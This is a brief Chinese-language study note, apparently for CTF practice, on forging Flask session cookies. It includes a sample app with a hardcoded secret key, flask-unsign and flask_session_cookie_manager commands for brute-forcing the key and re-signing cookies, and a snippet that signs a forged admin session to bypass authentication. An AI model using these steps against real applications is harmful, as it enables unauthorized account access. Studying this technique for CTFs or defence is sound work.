个人总结,可能有些地方有误
Session ID
是服务器为每个用户在登录时生成的一个随机字符串,用于标识用户身份和会话状态,通常存储在Cookie中
一般是以json格式
出现场景
响应头中存在Vary: cookie
且cookie中存在相关的session参数
使用Flask框架:因为Session变量的内容一般保存在服务端,但是Flask并不包含数据库框架的操作,于是Flask通过一个secret_key
来解决这类问题,换言之只要知道了secret_key
就能进行session伪造
原始代码
from flask import Flask, session
app = Flask(__name__)
app.secret_key = 'SCFmkpovdDVCJPO21cvcds'
@app.route('/')
def set_session():
if 'name' in session:
name = session['name']
if name == "anonymous":
return 'Session 已设置,你是 anonymous'
elif name == 'admin':
return 'Session 已设置,你是 admin'
else:
return 'Session 已设置,你是 ???'
session['name'] = 'anonymous'
return 'Session 未设置,现已设置'
if __name__ == '__main__':
app.run(debug=False, port=8080)
flask_session_cookie_manager进行Session加密解密
在安装的文件夹中使用终端执行命令
解密:
python flask_session_cookie_manager3.py decode -s "secret_key" -c "需要解密的session值"
加密:
python flask_session_cookie_manager3.py encode -s "secret_key" -t "需要加密的session值"
由此可以抓包进行session伪造实现身份认证绕过
flask-unsign进行secret_key爆破与session加解密
爆破key,dict.txt需要看情况自己生成,一般是固定位数的随机数
flask-unsign --unsign --cookie "session值" --wordlist dict.txt
加密:
flask-unsign --sign --cookie "要加密的字符串" --secret 'secret_key' --no-literal-eval
本地生成Session
import base64
import os
from flask import (Flask, render_template, request, url_for, redirect, session,
render_template_string)
from flask_session import Session
app = Flask(__name__)
app.secret_key = str(base64.b64encode(
os.urandom(30)).decode()) + "*NeepuCTF*" #改成获取的key
@app.route('/')
def index():
#要伪造的数据
txt = '1'
session['admin'] = txt #放入session中会用key自动加密后发给客户端
ls = '''can can word session '''
return render_template_string(ls)
if __name__ == "__main__":
app.run(host='0.0.0.0', debug=False)